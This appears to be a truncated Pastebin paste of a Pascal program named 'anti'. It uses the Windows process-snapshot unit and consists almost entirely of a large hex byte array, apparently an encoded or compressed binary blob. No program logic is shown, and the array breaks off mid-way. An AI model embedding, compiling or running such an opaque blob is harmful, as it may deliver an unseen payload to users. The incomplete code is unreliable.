Guest User

Untitled

a guest
Dec 11th, 2018
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.38 KB | None | 0 0
  1. program anti;
  2. uses
  3. windows, tlhelp32, sysutils;
  4.  
  5.  
  6. const
  7. array_name: array[0..8191] of byte = (
  8. $98, $B4, $A0, $00, $00, $00, $00, $00, $38, $00,
  9. $78, $00, $B0, $FF, $0F, $00, $A0, $17, $00, $00,
  10. $80, $01, $00, $00, $80, $23, $00, $0D, $00, $08,
  11. $00, $00, $00, $12, $00, $00, $00, $28, $00, $00,
  12. $00, $58, $00, $00, $00, $C0, $00, $00, $00, $A0,
  13. $01, $00, $00, $80, $03, $00, $00, $80, $07, $00,
  14. $00, $00, $10, $01, $00, $1C, $56, $21, $26, $34,
  15. $37, $D0, $0D, $60, $92, $C1, $02, $09, $99, $1D,
  16. $2D, $6D, $2E, $08, $9C, $DC, $9B, $0D, $B9, $B0,
  17. $36, $38, $6D, $75, $73, $38, $40, $C4, $CA, $DA,
  18. $C8, $D5, $B9, $E9, $A9, $73, $23, $DB, $27, $07,
  19. $72, $95, $CE, $6D, $46, $86, $84, $02, $C9, $CD,
  20. $0F, $00, $00, $80, $20, $00, $00, $00, $42, $00,
  21. $00, $00, $88, $00, $00, $00, $18, $01, $00, $00,
  22. $40, $02, $00, $00, $A0, $04, $00, $00, $80, $09,
  23. $00, $00, $80, $13, $00, $00, $00, $28, $00, $00,
  24. $00, $52, $00, $00, $00, $A8, $00, $00, $00, $58,
  25. $01, $00, $00, $C0, $02, $00, $00, $A0, $05, $00,
  26. $00, $80, $0B, $00, $00, $80, $17, $00, $00, $00,
  27. $30, $00, $00, $00, $62, $00, $00, $00, $C8, $00,
  28. $00, $00, $98, $01, $00, $00, $40, $03, $00, $00,
  29. $A0, $06, $00, $00, $80, $0D, $00, $00, $80, $1B,
  30. $00, $00, $00, $38, $00, $00, $00, $72, $00, $00,
  31. $00, $E8, $01, $00, $00, $D8, $03, $00, $00, $C0,
  32. $07, $00, $00, $A0, $0F, $00, $00, $80, $1F, $00,
  33. $00, $80, $40, $00, $00, $00, $22, $8A, $00, $00,
  34. $38, $04, $10, $00, $DD, $3A, $29, $8B, $40, $04,
  35. $00, $00, $A0, $08, $00, $00, $A0, $29, $80, $63,
  36. $0C, $A6, $00, $81, $00, $48, $0E, $00, $00, $92,
  37. $08, $00, $00, $28, $01, $00, $00, $58, $82, $00,
  38. $00, $C0, $04, $01, $00, $A0, $09, $04, $10, $80,
  39. $13, $00, $00, $80, $27, $08, $00, $00, $50, $02,
  40. $00, $00, $A0, $00, $00, $00, $48, $01, $50, $00,
  41. $80, $02, $00, $00, $40, $05, $0A, $00, $A0, $0A,
  42. $01, $00, $80, $15, $00, $00, $80, $2B, $00, $00,
  43. $00, $5A, $00, $20, $00, $B2, $81, $00, $00, $68,
  44. $02, $80, $00, $D8, $05, $01, $00, $C0, $0B, $00,
  45. $00, $A0, $13, $00, $00, $80, $2F, $00, $00, $80,
  46. $60, $00, $00, $00, $C2, $60, $00, $00, $38, $03,
  47. $00, $00, $18, $03, $00, $00, $40, $06, $00, $00,
  48. $A0, $0C, $00, $00, $80, $19, $00, $00, $80, $33,
  49. $00, $00, $00, $68, $00, $00, $00, $D2, $80, $00,
  50. $00, $C8, $03, $00, $00, $58, $03, $00, $00, $C0,
  51. $06, $00, $00, $A0, $0D, $00, $00, $80, $1B, $00,
  52. $00, $80, $37, $00, $00, $00, $70, $00, $00, $00,
  53. $E2, $00, $00, $00, $C8, $01, $00, $00, $98, $03,
  54. $00, $00, $40, $07, $00, $00, $A0, $0E, $00, $00,
  55. $80, $1D, $00, $00, $80, $3B, $00, $00, $00, $78,
  56. $00, $00, $00, $F2, $01, $00, $00, $E8, $03, $00,
  57. $00, $D8, $07, $00, $00, $C0, $0F, $00, $00, $A0,
  58. $1F, $00, $00, $80, $9E, $27, $A2, $22, $80, $00,
  59. $00, $00, $02, $21, $00, $00, $08, $42, $00, $00,
  60. $18, $74, $00, $00, $40, $68, $00, $00, $A0, $10,
  61. $00, $00, $80, $21, $00, $00, $80, $43, $00, $00,
  62. $E0, $A8, $00, $00, $82, $9A, $83, $A8, $00, $28,
  63. $02, $00, $00, $58, $84, $00, $00, $C0, $08, $02,
  64. $00, $A0, $11, $00, $00, $80, $23, $05, $00, $80,
  65. $47, $00, $00, $00, $90, $00, $00, $00, $22, $01,
  66. $00, $00, $4B, $03, $23, $0B, $EB, $4D, $06, $00,
  67. $00, $1E, $02, $00, $A0, $12, $0C, $00, $80, $25,
  68. $01, $00, $80, $4B, $14, $00, $00, $98, $01, $00,
  69. $00, $32, $02, $00, $00, $68, $04, $00, $00, $D8,
  70. $0D, $00, $00, $CC, $56, $AE, $8C, $6D, $FC, $18,
  71. $00, $40, $4F, $08, $00, $80, $A0, $40, $00, $00,
  72. $42, $05, $00, $00, $88, $5A, $00, $00, $18, $05,
  73. $00, $00, $40, $0A, $00, $00, $A0, $14, $00, $00,
  74. $94, $39, $00, $00, $80, $53, $00, $00, $00, $A8,
  75. $00, $00, $00, $52, $01, $00, $00, $A8, $02, $00,
  76. $00, $58, $05, $00, $00, $C0, $0A, $00, $00, $A0,
  77. $15, $00, $00, $80, $2B, $00, $00, $80, $57, $00,
  78. $00, $00, $B0, $00, $00, $00, $62, $01, $00, $00,
  79. $C8, $02, $00, $00, $98, $05, $00, $00, $40, $0B,
  80. $00, $00, $A0, $16, $00, $00, $80, $2D, $00, $00,
  81. $80, $5B, $00, $00, $00, $B8, $01, $00, $00, $72,
  82. $02, $00, $00, $E8, $05, $00, $00, $D8, $0B, $00,
  83. $00, $C0, $17, $00, $00, $A0, $2F, $00, $00, $80,
  84. $5F, $00, $00, $80, $C0, $00, $00, $00, $82, $01,
  85. $00, $00, $08, $03, $00, $00, $18, $06, $00, $00,
  86. $40, $0C, $00, $00, $A0, $18, $00, $00, $80, $31,
  87. $00, $00, $80, $63, $00, $00, $00, $C8, $00, $00,
  88. $00, $92, $01, $00, $00, $28, $03, $00, $00, $58,
  89. $06, $00, $00, $C0, $0C, $00, $00, $A0, $19, $00,
  90. $00, $80, $33, $00, $00, $80, $67, $00, $00, $00,
  91. $D0, $00, $00, $00, $A2, $01, $00, $00, $48, $03,
  92. $00, $00, $98, $06, $00, $00, $40, $0D, $00, $00,
  93. $A0, $1A, $00, $00, $80, $35, $00, $00, $80, $6B,
  94. $00, $00, $00, $D8, $01, $00, $00, $B2, $03, $00,
  95. $00, $68, $06, $00, $00, $D8, $0D, $00, $00, $C0,
  96. $1B, $00, $00, $A0, $37, $00, $00, $80, $6F, $00,
  97. $00, $80, $E0, $00, $00, $00, $C2, $01, $00, $00,
  98. $88, $03, $00, $00, $18, $07, $00, $00, $40, $0E,
  99. $00, $00, $A0, $1C, $00, $00, $80, $39, $00, $00,
  100. $80, $73, $00, $00, $00, $E8, $00, $00, $00, $D2,
  101. $01, $00, $00, $A8, $03, $00, $00, $58, $07, $00,
  102. $00, $C0, $0E, $00, $00, $A0, $1D, $00, $00, $80,
  103. $3B, $00, $00, $80, $77, $00, $00, $00, $F0, $00,
  104. $00, $00, $E2, $01, $00, $00, $C8, $03, $00, $00,
  105. $98, $07, $00, $00, $40, $0F, $00, $00, $A0, $1E,
  106. $00, $00, $80, $3D, $00, $00, $80, $7B, $00, $00,
  107. $00, $F8, $01, $00, $00, $F2, $03, $00, $00, $E8,
  108. $07, $00, $00, $D8, $0F, $00, $00, $C0, $1F, $00,
  109. $00, $A0, $3F, $00, $00, $80, $7F, $00, $00, $80,
  110. $00, $01, $00, $00, $02, $02, $00, $00, $08, $04,
  111. $00, $00, $18, $08, $00, $00, $40, $10, $00, $00,
  112. $A0, $20, $00, $00, $80, $41, $00, $00, $80, $83,
  113. $00, $00, $00, $08, $01, $00, $00, $12, $02, $00,
  114. $00, $28, $04, $00, $00, $58, $08, $00, $00, $C0,
  115. $10, $00, $00, $A0, $21, $00, $00, $80, $43, $00,
  116. $00, $80, $87, $00, $00, $00, $10, $01, $00, $00,
  117. $22, $02, $00, $00, $48, $04, $00, $00, $98, $08,
  118. $00, $00, $40, $11, $00, $00, $A0, $22, $00, $00,
  119. $80, $45, $00, $00, $80, $8B, $01, $00, $00, $18,
  120. $02, $00, $00, $32, $04, $00, $00, $68, $08, $00,
  121. $00, $D8, $11, $00, $00, $C0, $23, $00, $00, $A0,
  122. $47, $00, $00, $80, $8F, $00, $00, $80, $20, $01,
  123. $00, $00, $42, $02, $00, $00, $88, $04, $00, $00,
  124. $18, $09, $00, $00, $40, $12, $00, $00, $A0, $24,
  125. $00, $00, $80, $49, $00, $00, $80, $93, $00, $00,
  126. $00, $28, $01, $00, $00, $52, $02, $00, $00, $A8,
  127. $04, $00, $00, $58, $09, $00, $00, $C0, $12, $00,
  128. $00, $A0, $25, $00, $00, $80, $4B, $00, $00, $80,
  129. $97, $00, $00, $00, $30, $01, $00, $00, $62, $02,
  130. $00, $00, $C8, $04, $00, $00, $98, $09, $00, $00,
  131. $40, $13, $00, $00, $A0, $26, $00, $00, $80, $4D,
  132. $00, $00, $80, $9B, $01, $00, $00, $38, $02, $00,
  133. $00, $72, $04, $00, $00, $E8, $09, $00, $00, $D8,
  134. $13, $00, $00, $C0, $27, $00, $00, $A0, $4F, $00,
  135. $00, $80, $9F, $00, $00, $80, $40, $01, $00, $00,
  136. $82, $02, $00, $00, $08, $05, $00, $00, $18, $0A,
  137. $00, $00, $40, $14, $00, $00, $A0, $28, $00, $00,
  138. $80, $51, $00, $00, $80, $A3, $00, $00, $00, $48,
  139. $01, $00, $00, $92, $02, $00, $00, $28, $05, $00,
  140. $00, $58, $0A, $00, $00, $C0, $14, $00, $00, $A0,
  141. $29, $00, $00, $80, $53, $00, $00, $80, $A7, $00,
  142. $00, $00, $50, $01, $00, $00, $A2, $02, $00, $00,
  143. $48, $05, $00, $00, $98, $0A, $00, $00, $40, $15,
  144. $00, $00, $A0, $2A, $00, $00, $80, $55, $00, $00,
  145. $80, $AB, $01, $00, $00, $58, $02, $00, $00, $B2,
  146. $05, $00, $00, $68, $0A, $00, $00, $D8, $15, $00,
  147. $00, $C0, $2B, $00, $00, $A0, $57, $00, $00, $80,
  148. $AF, $00, $00, $80, $60, $01, $00, $00, $C2, $02,
  149. $00, $00, $88, $05, $00, $00, $18, $0B, $00, $00,
  150. $40, $16, $00, $00, $A0, $2C, $00, $00, $80, $59,
  151. $00, $00, $80, $B3, $00, $00, $00, $68, $01, $00,
  152. $00, $D2, $02, $00, $00, $A8, $05, $00, $00, $58,
  153. $0B, $00, $00, $C0, $16, $00, $00, $A0, $2D, $00,
  154. $00, $80, $5B, $00, $00, $80, $B7, $00, $00, $00,
  155. $70, $01, $00, $00, $E2, $02, $00, $00, $C8, $05,
  156. $00, $00, $98, $0B, $00, $00, $40, $17, $00, $00,
  157. $A0, $2E, $00, $00, $80, $5D, $00, $00, $80, $BB,
  158. $01, $00, $00, $78, $02, $00, $00, $F2, $05, $00,
  159. $00, $E8, $0B, $00, $00, $D8, $17, $00, $00, $C0,
  160. $2F, $00, $00, $A0, $5F, $00, $00, $80, $BF, $00,
  161. $00, $80, $80, $01, $00, $00, $C2, $D3, $39, $02,
  162. $09, $06, $2C, $15, $8A, $7E, $2A, $62, $70, $3B,
  163. $03, $20, $20, $90, $20, $08, $1C, $E1, $55, $99,
  164. $37, $7A, $B4, $37, $44, $88, $48, $73, $CE, $D8,
  165. $C7, $EA, $41, $B5, $93, $C9, $2B, $CB, $27, $9B,
  166. $60, $20, $5E, $07, $E0, $80, $11, $08, $10, $80,
  167. $21, $40, $80, $20, $44, $84, $0A, $00, $90, $06,
  168. $82, $E8, $24, $01, $A5, $89, $99, $CF, $2B, $9B,
  169. $33, $AF, $A0, $50, $50, $1D, $20, $A0, $A9, $F2,
  170. $1C, $5C, $DA, $7D, $B3, $20, $80, $7C, $60, $70,
  171. $0B, $D5, $03, $AA, $DC, $30, $83, $C1, $2D, $DC,
  172. $0C, $18, $08, $D0, $EC, $96, $E6, $C6, $9D, $4C,
  173. $0E, $20, $27, $91, $1B, $59, $E8, $B3, $00, $00,
  174. $A3, $00, $54, $69, $98, $C9, $00, $04, $D5, $A3,
  175. $B9, $91, $60, $B6, $9B, $63, $47, $3A, $30, $95,
  176. $CD, $BA, $AE, $AC, $90, $6A, $80, $C0, $32, $E9,
  177. $39, $B9, $00, $C6, $75, $0C, $00, $52, $57, $1A,
  178. $0D, $01, $BE, $4C, $A2, $CA, $0F, $70, $D4, $A0,
  179. $5F, $D4, $CA, $A9, $75, $AA, $D3, $8C, $7A, $13,
  180. $00, $AA, $4E, $06, $32, $0D, $F4, $32, $98, $92,
  181. $62, $AB, $CD, $C8, $F0, $2B, $A0, $0A, $F2, $0D,
  182. $34, $23, $73, $CE, $E0, $DF, $08, $37, $5B, $19,
  183. $C0, $77, $32, $3A, $00, $78, $64, $74, $00, $EB,
  184. $DD, $C8, $EA, $E8, $93, $01, $20, $59, $7E, $23,
  185. $63, $D3, $1D, $30, $24, $97, $1B, $8C, $AE, $0C,
  186. $EF, $51, $9A, $9B, $ED, $00, $A3, $B4, $B2, $72,
  187. $74, $00, $1E, $C9, $F0, $E8, $09, $0B, $B1, $BD,
  188. $82, $25, $03, $B0, $D4, $4A, $76, $F7, $6D, $34,
  189. $80, $28, $1D, $2D, $D9, $18, $20, $D4, $B9, $BC,
  190. $58, $C8, $2F, $45, $69, $18, $03, $16, $07, $BA,
  191. $2B, $BA, $00, $32, $39, $80, $FB, $CD, $CC, $D8,
  192. $80, $55, $3B, $08, $1D, $83, $52, $30, $07, $C2,
  193. $79, $FF, $00, $00, $AC, $01, $E4, $06, $DA, $1D,
  194. $B3, $5B, $E1, $A9, $9D, $86, $F0, $A2, $10, $1B,
  195. $40, $19, $9A, $95, $F0, $2B, $9D, $84, $8E, $45,
  196. $BA, $04, $D5, $0E, $85, $C0, $75, $74, $BE, $D6,
  197. $9F, $47, $15, $02, $D7, $D9, $01, $5A, $C7, $AF,
  198. $3E, $4D, $F6, $F8, $7B, $2B, $EC, $FF, $92, $E6,
  199. $05, $D0, $6F, $1E, $00, $80, $E0, $81, $72, $18,
  200. $0E, $79, $08, $14, $B4, $0F, $FE, $01, $18, $0F,
  201. $40, $97, $4E, $1E, $00, $30, $A3, $33, $B7, $39,
  202. $FE, $5D, $E4, $BA, $80, $87, $02, $00, $33, $E8,
  203. $E2, $6A, $3F, $1B, $FC, $2B, $44, $F6, $07, $01,
  204. $2C, $44, $C9, $5A, $04, $F0, $67, $01, $00, $18,
  205. $38, $00, $11, $49, $04, $22, $7F, $F0, $79, $B0,
  206. $DF, $17, $7D, $94, $A4, $16, $63, $03, $5E, $00,
  207. $9D, $59, $97, $88, $9C, $F7, $7D, $B8, $7C, $A1,
  208. $77, $F3, $02, $8F, $40, $63, $AD, $6D, $0B, $20,
  209. $00, $07, $ED, $03, $00, $10, $C5, $8D, $23, $F3,
  210. $B5, $12, $02, $47, $D4, $07, $F4, $71, $4F, $D7,
  211. $0E, $C6, $02, $01, $00, $A0, $BF, $22, $19, $89,
  212. $7B, $74, $B7, $FF, $FF, $FD, $33, $D2, $CA, $FA,
  213. $65, $C8, $2F, $82, $94, $FD, $0A, $78, $AC, $1D,
  214. $D5, $21, $04, $60, $60, $4A, $0D, $20, $A5, $81,
  215. $C0, $7F, $00, $EE, $0A, $20, $01, $53, $6A, $00,
  216. $7B, $13, $04, $1A, $01, $24, $61, $00, $9C, $E6,
  217. $EA, $AF, $60, $BA, $21, $04, $4E, $05, $EF, $A1,
  218. $3F, $80, $23, $DF, $74, $35, $BD, $FB, $FF, $68,
  219. $EF, $FD, $00, $00, $22, $06, $0E, $69, $7C, $FE,
  220. $B8, $FA, $9F, $12, $7D, $01, $14, $58, $EC, $B8,
  221. $B0, $82, $04, $10, $80, $09, $C9, $C5, $F9, $43,
  222. $D3, $E8, $85, $F3, $04, $00, $80, $36, $4D, $20,
  223. $A1, $BB, $02, $00, $00, $48, $86, $82, $0E, $F9,
  224. $43, $00, $A0, $F0, $F7, $1D, $3C, $BA, $42, $00,
  225. $00, $00, $AD, $97, $43, $1B, $C3, $04, $A4, $1A,
  226. $DD, $12, $64, $00, $1C, $81, $FA, $AF, $30, $58,
  227. $01, $04, $A2, $AC, $81, $50, $52, $76, $FF, $3F,
  228. $4E, $8A, $E5, $C6, $00, $6B, $19, $40, $1E, $BE,
  229. $03, $20, $00, $BC, $DE, $07, $E2, $58, $D9, $59,
  230. $1E, $30, $72, $C8, $71, $AF, $45, $60, $1C, $8B,
  231. $C3, $E3, $00, $20, $D7, $7E, $0F, $82, $30, $02,
  232. $00, $00, $D6, $07, $03, $00, $CC, $F6, $78, $78,
  233. $DC, $0E, $00, $00, $A0, $3F, $EA, $BF, $92, $8C,
  234. $05, $10, $40, $61, $E1, $07, $42, $59, $03, $00,
  235. $00, $86, $06, $DF, $DB, $DC, $F7, $FF, $A3, $27,
  236. $00, $00, $00, $18, $76, $98, $FC, $30, $D7, $33,
  237. $00, $20, $0F, $59, $60, $8E, $39, $AC, $87, $42,
  238. $34, $00, $00, $00, $A6, $13, $A3, $78, $E6, $01,
  239. $3F, $08, $00, $18, $00, $00, $73, $34, $1D, $A8,
  240. $A0, $E2, $08, $00, $40, $D2, $61, $4D, $DB, $23,
  241. $81, $87, $3D, $0A, $06, $66, $0A, $0B, $06, $1E,
  242. $00, $B4, $0D, $00, $B8, $05, $DE, $7E, $98, $6F,
  243. $40, $30, $10, $C3, $A9, $41, $80, $D9, $93, $00,
  244. $0B, $7B, $62, $20, $A9, $02, $80, $64, $0A, $11,
  245. $E2, $1A, $00, $04, $4E, $09, $01, $00, $48, $B1,
  246. $F0, $50, $48, $21, $00, $00, $C0, $55, $21, $FA,
  247. $C5, $F6, $81, $C5, $E5, $0B, $97, $DF, $17, $D5,
  248. $04, $D0, $B9, $33, $09, $00, $14, $62, $6C, $20,
  249. $04, $DF, $25, $00, $D0, $C8, $B9, $F2, $02, $08,
  250. $D7, $0B, $00, $80, $CF, $FE, $44, $81, $00, $51,
  251. $8B, $F3, $C5, $D9, $B1, $5B, $A6, $6B, $B7, $2E,
  252. $DA, $E4, $B2, $AA, $F1, $7E, $38, $B6, $BD, $44,
  253. $60, $D0, $80, $ED, $2F, $02, $FB, $33, $81, $CC,
  254. $E5, $9D, $9B, $F7, $D1, $69, $12, $91, $00, $D8,
  255. $04, $00, $AE, $AB, $C9, $D1, $FF, $40, $96, $83,
  256. $00, $20, $1D, $13, $54, $94, $DB, $58, $9E, $01,
  257. $F2, $29, $B7, $72, $A1, $0D, $E9, $64, $CA, $1E,
  258. $DC, $2A, $A9, $35, $F4, $9F, $A9, $4B, $95, $73,
  259. $44, $3B, $AE, $60, $31, $CC, $E2, $11, $C5, $6B,
  260. $76, $6C, $71, $FA, $5B, $2B, $CB, $89, $D2, $82,
  261. $51, $56, $04, $C0, $2F, $82, $90, $C0, $9D, $2C,
  262. $27, $00, $70, $05, $9E, $0F, $E1, $1F, $D2, $C0,
  263. $C1, $62, $3C, $A8, $45, $25, $BC, $31, $D2, $F7,
  264. $E0, $62, $A4, $81, $D5, $8D, $27, $1A, $9A, $4C,
  265. $44, $D6, $F0, $1D, $E0, $C5, $CB, $01, $08, $E5,
  266. $A4, $75, $62, $E1, $47, $48, $21, $80, $40, $0D,
  267. $91, $17, $50, $12, $17, $B5, $28, $85, $36, $07,
  268. $3A, $D9, $16, $74, $E0, $C7, $D6, $35, $0F, $21,
  269. $33, $C0, $DB, $FC, $43, $71, $C6, $5A, $B8, $FE,
  270. $40, $00, $90, $12, $03, $00, $50, $CA, $97, $26,
  271. $4A, $C6, $BC, $00, $B2, $88, $7E, $80, $4E, $99,
  272. $00, $00, $A0, $76, $8E, $97, $55, $5F, $AB, $5E,
  273. $04, $E2, $02, $00, $BB, $98, $05, $00, $00, $52,
  274. $C6, $2F, $36, $67, $28, $1E, $18, $86, $4B, $9C,
  275. $79, $7F, $6D, $73, $0D, $99, $A5, $BA, $A2, $80,
  276. $4F, $81, $95, $FA, $29, $14, $89, $46, $4A, $BF,
  277. $B6, $BC, $26, $F2, $27, $F6, $00, $CE, $00, $02,
  278. $C0, $14, $0E, $00, $A8, $B4, $BF, $76, $55, $AF,
  279. $10, $80, $0B, $AC, $CB, $D9, $60, $E8, $02, $E8,
  280. $0A, $53, $05, $00, $A0, $AB, $DD, $29, $00, $00,
  281. $16, $00, $FF, $5F, $A4, $CF, $01, $40, $4A, $1D,
  282. $C3, $A0, $AB, $C0, $FF, $FF, $B9, $FF, $8D, $BD,
  283. $5B, $E2, $80, $00, $BC, $33, $32, $64, $FC, $DC,
  284. $C8, $2D, $98, $17, $00, $B0, $48, $2B, $95, $10,
  285. $58, $CC, $FE, $A2, $FE, $70, $BB, $02, $A0, $08,
  286. $F1, $F8, $C3, $5A, $F8, $FE, $01, $72, $C3, $E7,
  287. $0F, $3F, $B9, $1C, $DA, $B0, $2F, $20, $D5, $C8,
  288. $45, $20, $03, $08, $2F, $D4, $7F, $A5, $8C, $0A,
  289. $20, $00, $49, $87, $83, $1C, $03, $05, $86, $1B,
  290. $5D, $05, $6D, $00, $1D, $86, $FA, $AF, $70, $E4,
  291. $01, $04, $42, $E7, $72, $F5, $BF, $A1, $C0, $F0,
  292. $20, $B9, $40, $0E, $AF, $C8, $FD, $95, $86, $BD,
  293. $85, $00, $41, $E5, $0B, $43, $52, $0B, $0D, $80,
  294. $00, $D0, $AC, $06, $EA, $BF, $59, $D8, $05, $D0,
  295. $56, $E8, $20, $BA, $E7, $4D, $89, $85, $E4, $4A,
  296. $80, $00, $AC, $3C, $49, $A9, $01, $56, $82, $FA,
  297. $BF, $86, $7B, $01, $14, $94, $33, $72, $BC, $7A,
  298. $62, $E3, $62, $F8, $21, $00, $A9, $65, $50, $6A,
  299. $02, $8A, $FB, $2B, $7F, $11, $0B, $01, $2C, $36,
  300. $08, $AF, $48, $9C, $D5, $C8, $01, $14, $3B, $11,
  301. $79, $B8, $C8, $ED, $23, $47, $4F, $81, $FF, $CA,
  302. $23, $15, $40, $00, $3C, $6E, $17, $39, $8A, $0A,
  303. $FC, $57, $A0, $AA, $00, $02, $F1, $F6, $79, $C8,
  304. $AA, $54, $20, $53, $18, $6D, $7F, $ED, $29, $7E,
  305. $21, $80, $17, $17, $97, $C7, $FE, $53, $05, $A6,
  306. $00, $FD, $25, $5F, $BC, $5A, $7F, $AC, $20, $75,
  307. $2F, $04, $69, $03, $EC, $F2, $54, $A3, $AB, $80,
  308. $0D, $20, $BD, $A2, $53, $FF, $F0, $50, $2F, $80,
  309. $C8, $9A, $FD, $57, $CA, $47, $00, $02, $20, $AA,
  310. $75, $65, $75, $13, $DD, $00, $00, $54, $C0, $22,
  311. $99, $BD, $85, $75, $99, $69, $D0, $64, $FF, $CB,
  312. $CD, $12, $45, $96, $05, $0F, $00, $C5, $4E, $44,
  313. $E2, $3B, $21, $B2, $B8, $FE, $5F, $0D, $2F, $CA,
  314. $5D, $F4, $40, $55, $EF, $C4, $26, $8C, $33, $C3,
  315. $8B, $7C, $4B, $26, $16, $E7, $06, $DC, $08, $9A,
  316. $BF, $5B, $00, $12, $5C, $BF, $35, $03, $CF, $DD,
  317. $04, $D0, $7B, $FE, $40, $DD, $01, $2F, $C4, $E9,
  318. $B7, $5D, $27, $0F, $8A, $1A, $82, $76, $2F, $7A,
  319. $C0, $9D, $E2, $C0, $06, $A8, $B8, $F8, $F0, $21,
  320. $7B, $C7, $19, $A5, $F5, $CC, $75, $DC, $47, $81,
  321. $EE, $B3, $5D, $5E, $4A, $92, $86, $C1, $9C, $B0,
  322. $57, $2D, $86, $0C, $8C, $E3, $D1, $77, $B2, $58,
  323. $7F, $D1, $10, $10, $C0, $B3, $C0, $62, $BA, $C5,
  324. $86, $5B, $27, $23, $0C, $B7, $5E, $1E, $1C, $B9,
  325. $3C, $1A, $20, $4E, $31, $08, $99, $A6, $63, $00,
  326. $89, $8E, $2D, $FE, $5D, $0B, $2B, $3D, $E6, $00,
  327. $00, $80, $4A, $2C, $8A, $01, $FD, $5A, $58, $85,
  328. $F4, $EF, $F2, $66, $51, $C3, $B4, $5B, $74, $EB,
  329. $2A, $5A, $88, $75, $42, $B1, $30, $0D, $86, $A1,
  330. $CA, $FB, $5D, $D9, $F6, $76, $40, $77, $0B, $7E,
  331. $8E, $34, $E9, $0A, $0F, $A4, $F0, $80, $BC, $CC,
  332. $20, $88, $81, $13, $E9, $CA, $FC, $F2, $F0, $0F,
  333. $8B, $1A, $1D, $7A, $F4, $40, $62, $8A, $38, $B4,
  334. $03, $E3, $BB, $0F, $94, $07, $14, $50, $D8, $5B,
  335. $E5, $C3, $23, $01, $C1, $FD, $13, $53, $F8, $7B,
  336. $0E, $65, $65, $F8, $C0, $BC, $19, $31, $D2, $3A,
  337. $04, $CD, $7D, $FF, $00, $B8, $16, $D6, $EB, $9B,
  338. $01, $BA, $F3, $93, $F6, $F6, $5A, $83, $7D, $31,
  339. $D0, $1D, $16, $08, $62, $C0, $BE, $22, $11, $09,
  340. $11, $F4, $03, $AC, $73, $C3, $89, $44, $CB, $3E,
  341. $C2, $86, $45, $48, $5D, $59, $87, $1B, $CE, $44,
  342. $20, $37, $00, $00, $C0, $0A, $78, $4E, $70, $EC,
  343. $F4, $8C, $99, $1E, $03, $F4, $78, $48, $03, $00,
  344. $37, $96, $30, $84, $DC, $77, $E2, $09, $CE, $CB,
  345. $84, $81, $02, $90, $B4, $0E, $4E, $A0, $69, $40,
  346. $5E, $41, $D7, $B4, $00, $80, $D3, $15, $42, $E2,
  347. $50, $4B, $BE, $B2, $36, $BB, $43, $B5, $26, $00,
  348. $6E, $5D, $C4, $DE, $35, $18, $CC, $BA, $38, $EA,
  349. $8A, $15, $FE, $E2, $73, $D9, $68, $EC, $29, $04,
  350. $D9, $8B, $CB, $6B, $A0, $A5, $B3, $04, $16, $1A,
  351. $1B, $66, $15, $06, $86, $C8, $19, $0C, $61, $D8,
  352. $B3, $50, $5C, $72, $27, $55, $9A, $5B, $B6, $18,
  353. $17, $21, $05, $6D, $6E, $79, $82, $56, $C6, $52,
  354. $08, $C9, $E4, $E4, $D3, $1A, $11, $CB, $46, $14,
  355. $54, $E6, $72, $41, $0F, $E0, $A4, $DE, $00, $C0,
  356. $80, $BD, $21, $00, $00, $68, $03, $00, $00, $D2,
  357. $06, $00, $00, $A8, $0D, $00, $00, $58, $1B, $00,
  358. $00, $C0, $36, $00, $00, $A0, $6D, $00, $00, $80,
  359. $DB, $00, $00, $80, $B7, $01, $00, $00, $70, $03,
  360. $00, $00, $E2, $06, $00, $00, $C8, $0D, $00, $00,
  361. $98, $1B, $00, $00, $40, $37, $00, $00, $A0, $6E,
  362. $00, $00, $80, $DD, $01, $00, $80, $BB, $03, $00,
  363. $4B, $78, $A2, $9C, $8A, $78, $C0, $C8, $00, $D8,
  364. $31, $A3, $6B, $E2, $71, $56, $C7, $36, $63, $29,
  365. $CC, $0D, $C6, $5B, $59, $90, $3F, $A2, $32, $BA,
  366. $D6, $66, $72, $73, $D0, $D9, $DC, $00, $2D, $C3,
  367. $11, $95, $0B, $B7, $3B, $3B, $17, $1E, $07, $25,
  368. $0D, $1C, $AE, $CC, $9C, $FC, $C0, $90, $32, $71,
  369. $31, $BA, $65, $CE, $6A, $6C, $D2, $90, $07, $8C,
  370. $A5, $91, $9F, $19, $33, $CA, $87, $A3, $16, $54,
  371. $FE, $56, $CD, $AD, $B1, $28, $19, $9E, $7A, $53,
  372. $34, $B6, $FD, $A2, $00, $46, $F5, $42, $C8, $86,
  373. $F0, $DB, $CD, $95, $F9, $B3, $2A, $A3, $9B, $84,
  374. $C6, $56, $26, $AD, $8E, $4E, $8E, $FA, $58, $1D,
  375. $DD, $7F, $B8, $20, $00, $79, $6F, $6F, $73, $DB,
  376. $97, $C2, $DC, $F8, $BF, $95, $01, $F8, $8E, $2B,
  377. $0B, $C3, $6E, $66, $94, $86, $DE, $AC, $29, $2C,
  378. $FB, $5C, $9A, $9B, $7C, $21, $80, $26, $C1, $73,
  379. $56, $69, $88, $E9, $9E, $CC, $91, $AB, $B1, $95,
  380. $1B, $B5, $72, $6B, $56, $3C, $67, $95, $0C, $98,
  381. $EE, $C9, $19, $B8, $1A, $5B, $BA, $53, $A8, $32,
  382. $65, $EE, $6A, $6C, $DC, $F2, $D9, $D2, $01, $78,
  383. $9B, $C9, $2B, $C2, $37, $A3, $64, $26, $7C, $F6,
  384. $AD, $6C, $5D, $8D, $19, $9D, $2B, $54, $B6, $B2,
  385. $74, $35, $6D, $65, $E4, $6A, $CA, $E8, $62, $89,
  386. $B9, $91, $95, $AB, $9B, $23, $E2, $A6, $57, $36,
  387. $D6, $1D, $4D, $2E, $2F, $98, $C0, $51, $D9, $FD,
  388. $A8, $BC, $B9, $61, $66, $6D, $44, $CC, $E3, $CA,
  389. $C6, $A0, $B3, $C9, $E5, $39, $1F, $38, $2A, $D3,
  390. $0C, $54, $27, $87, $D9, $CC, $8D, $EE, $BE, $9A,
  391. $5C, $99, $EE, $BB, $37, $39, $B9, $42, $00, $00,
  392. $D6, $5B, $8A, $B0, $1C, $0E, $A8, $B8, $80, $04,
  393. $92, $02, $A4, $78, $65, $45, $0B, $B1, $A5, $08,
  394. $D5, $E0, $80, $54, $A6, $C4, $23, $26, $45, $FB,
  395. $31, $2E, $A8, $22, $8D, $00, $B8, $38, $C2, $C8,
  396. $02, $70, $DC, $2A, $E4, $84, $F9, $94, $C6, $C5,
  397. $10, $46, $11, $C0, $E2, $56, $A9, $A6, $4D, $A1,
  398. $2E, $45, $E3, $31, $00, $00, $12, $8D, $00, $00,
